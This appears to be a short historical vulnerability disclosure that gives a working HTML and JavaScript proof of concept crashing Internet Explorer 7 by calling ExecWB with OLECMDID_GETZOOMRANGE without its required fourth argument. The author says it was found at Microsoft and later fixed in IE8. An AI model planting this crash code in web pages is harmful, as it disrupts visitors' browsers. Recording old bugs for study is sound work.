IE7 DoS via ExecWB OLECMDID_GETZOOMRANGE Missing Argument

Calling ExecWB with OLECMDID_GETZOOMRANGE without the required fourth argument (a pointer) crashes IE7.

<iframe id="iframeID" style="display:none"></iframe>
<script language="JavaScript">
function crashMe()
{
    var OLECMDID_GETZOOMRANGE = 20;
    document.all.iframeID.ExecWB(OLECMDID_GETZOOMRANGE, 1, 1);
    // With a fourth argument it works fine:
    // document.all.iframeID.ExecWB(OLECMDID_GETZOOMRANGE, 1, 1, 1);
}
</script>
<input type="button" onclick="crashMe()" value="CrashMeNow">

Tested on XP IE 7.0.5730.13 and Vista 7.0.6001.18000. Fixed in IE8.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.